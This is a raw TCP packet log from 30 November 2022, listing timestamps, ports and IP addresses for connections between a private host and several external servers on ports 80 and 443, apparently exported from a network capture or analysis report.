Nov 30, 2022 00:11:16.721896887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721904039 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.721935034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721956015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721966982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721978903 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722007036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722054958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722121954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722145081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722182035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722204924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722215891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722238064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722255945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722274065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722286940 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722299099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722318888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722327948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722340107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722358942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722373009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722409010 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722413063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722440004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722454071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722477913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722511053 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722518921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722537994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722542048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722563028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722583055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722601891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722618103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722637892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722639084 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.722677946 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.722690105 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.724046946 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.726093054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.726114988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.726136923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.726227999 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.771903992 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.800760984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.800789118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.800947905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.802141905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.802167892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.802192926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.802236080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.802261114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.802275896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.802285910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.802330017 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.802360058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.887469053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.928296089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.971757889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.971782923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.971801996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.972012043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:20.979928970 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:21.269639969 CET	80	49728	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:21.272409916 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:21.272643089 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:21.275320053 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:21.565129995 CET	80	49728	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:22.504940033 CET	80	49728	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:22.505048990 CET	80	49728	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:22.505139112 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:22.505182981 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:22.579643011 CET	49729	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:22.772815943 CET	80	49729	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:22.773035049 CET	49729	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:22.773154974 CET	49729	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:22.773185968 CET	49729	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:22.967097998 CET	80	49729	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:23.272531986 CET	49728	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:23.561566114 CET	80	49728	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:23.625840902 CET	80	49729	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:23.626075029 CET	49729	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:23.633141041 CET	80	49729	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:23.633296013 CET	49729	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:23.820586920 CET	80	49729	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:24.173022032 CET	49730	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:24.472014904 CET	80	49730	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:24.472748041 CET	49730	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:24.472856998 CET	49730	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:24.473367929 CET	49730	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:24.766724110 CET	80	49730	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:25.665105104 CET	80	49730	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:25.665144920 CET	80	49730	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:25.665272951 CET	49730	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:25.665312052 CET	49730	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:25.699906111 CET	49731	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:25.960169077 CET	80	49730	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:25.985791922 CET	80	49731	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:25.985884905 CET	49731	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:25.986078978 CET	49731	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:25.987418890 CET	49731	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:26.274538994 CET	80	49731	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:27.160924911 CET	80	49731	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:27.160948992 CET	80	49731	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:27.161149979 CET	49731	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:27.161190033 CET	49731	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:27.269736052 CET	49732	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:27.448533058 CET	80	49731	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:27.552035093 CET	80	49732	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:27.552160978 CET	49732	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:27.552278996 CET	49732	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:27.552583933 CET	49732	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:27.835081100 CET	80	49732	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:28.751085997 CET	80	49732	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:28.751112938 CET	80	49732	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:28.751326084 CET	49732	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:28.821233988 CET	49732	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:29.103451967 CET	80	49732	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:29.950839996 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:32.991940022 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:33.288414001 CET	80	49733	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:33.288680077 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:33.288846970 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:33.292745113 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:33.587939024 CET	80	49733	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:34.508234978 CET	80	49733	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:34.508264065 CET	80	49733	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:34.508421898 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:34.508603096 CET	49733	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:34.556699038 CET	49734	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:34.804430008 CET	80	49733	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:34.841823101 CET	80	49734	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:34.842021942 CET	49734	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:34.842155933 CET	49734	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:34.842196941 CET	49734	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:35.127788067 CET	80	49734	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:35.781203032 CET	80	49734	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:35.781217098 CET	80	49734	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:35.781390905 CET	49734	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:35.781505108 CET	49734	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:35.838272095 CET	49736	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:36.066333055 CET	80	49734	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:36.131297112 CET	80	49736	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:36.131623983 CET	49736	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:36.131793022 CET	49736	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:36.131817102 CET	49736	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:36.421169043 CET	80	49736	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:37.042538881 CET	80	49736	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:37.042577028 CET	80	49736	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:37.042664051 CET	49736	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:37.042690992 CET	49736	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:37.071861029 CET	49737	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:37.256253958 CET	80	49737	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:37.256422997 CET	49737	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:37.256628990 CET	49737	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:37.256666899 CET	49737	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:37.332151890 CET	80	49736	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:37.442373991 CET	80	49737	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:38.125377893 CET	80	49737	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:38.125406027 CET	80	49737	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:38.125586987 CET	49737	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:38.132626057 CET	49737	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:38.160182953 CET	49738	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:38.320157051 CET	80	49737	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:38.390738964 CET	80	49738	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:38.392446995 CET	49738	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:38.392638922 CET	49738	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:38.392664909 CET	49738	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:38.614001036 CET	80	49738	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:39.118047953 CET	80	49738	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:39.121123075 CET	49738	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:39.126981020 CET	80	49738	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:39.130004883 CET	49738	80	192.168.2.6	201.124.230.1
Nov 30, 2022 00:11:39.179879904 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.179944038 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.180306911 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.182951927 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.183007002 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.259717941 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.259821892 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.263843060 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.263871908 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.264411926 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.287036896 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.287075996 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.341933966 CET	80	49738	201.124.230.1	192.168.2.6
Nov 30, 2022 00:11:39.353821993 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.353869915 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.354927063 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.354958057 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381541967 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381655931 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.381685972 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381710052 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381851912 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381895065 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381951094 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.381951094 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.381974936 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.381999969 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.412425995 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.412581921 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.412615061 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.412703991 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.412813902 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.412837982 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.412930012 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413027048 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.413048983 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413170099 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413270950 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.413304090 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413347960 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413460016 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.413486004 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413526058 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.413722992 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.413746119 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441049099 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441163063 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441183090 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.441205025 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441289902 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441307068 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.441531897 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441550970 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.441570997 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441620111 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.441719055 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441792965 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.441809893 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.441901922 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.442076921 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.442097902 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.442120075 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.442154884 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.469582081 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.469711065 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.469741106 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.469789982 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.469913960 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.469933033 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.475742102 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.475836039 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.475864887 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.475893974 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.475977898 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.475992918 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476295948 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476383924 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.476408005 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476465940 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476560116 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.476566076 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476582050 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476705074 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476707935 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.476727009 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.476825953 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.476896048 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477035046 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477070093 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.477091074 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477211952 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.477264881 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477425098 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477448940 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.477469921 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477535009 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.477639914 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477787018 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477824926 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.477845907 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.477869987 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.478458881 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.478631020 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.478694916 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.478717089 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.478837013 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.478908062 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.478908062 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.478936911 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.479099989 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.479193926 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.479214907 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.479507923 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.479613066 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.479645014 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.479916096 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.480026007 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.480056047 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.498836994 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.498959064 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.498986959 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.499682903 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.499787092 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.499813080 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.507150888 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.507411957 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.507440090 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.508614063 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.508718967 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.508749008 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.508869886 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509002924 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.509025097 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509083033 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509160042 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.509175062 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509516954 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509608030 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.509633064 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509689093 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509763002 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.509778976 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509912968 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.509989023 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.510006905 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.510229111 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.510319948 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.510341883 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.510590076 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.510684967 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.510710001 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.510993004 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.511084080 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.511111021 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.511255980 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.511353016 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.511372089 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.511683941 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.511776924 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.511800051 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.512100935 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.512260914 CET	49739	443	192.168.2.6	5.135.247.111
Nov 30, 2022 00:11:39.512284994 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.512808084 CET	443	49739	5.135.247.111	192.168.2.6
Nov 30, 2022 00:11:39.512908936 CET	49739	443	192.168.2.6	5.135.247.111
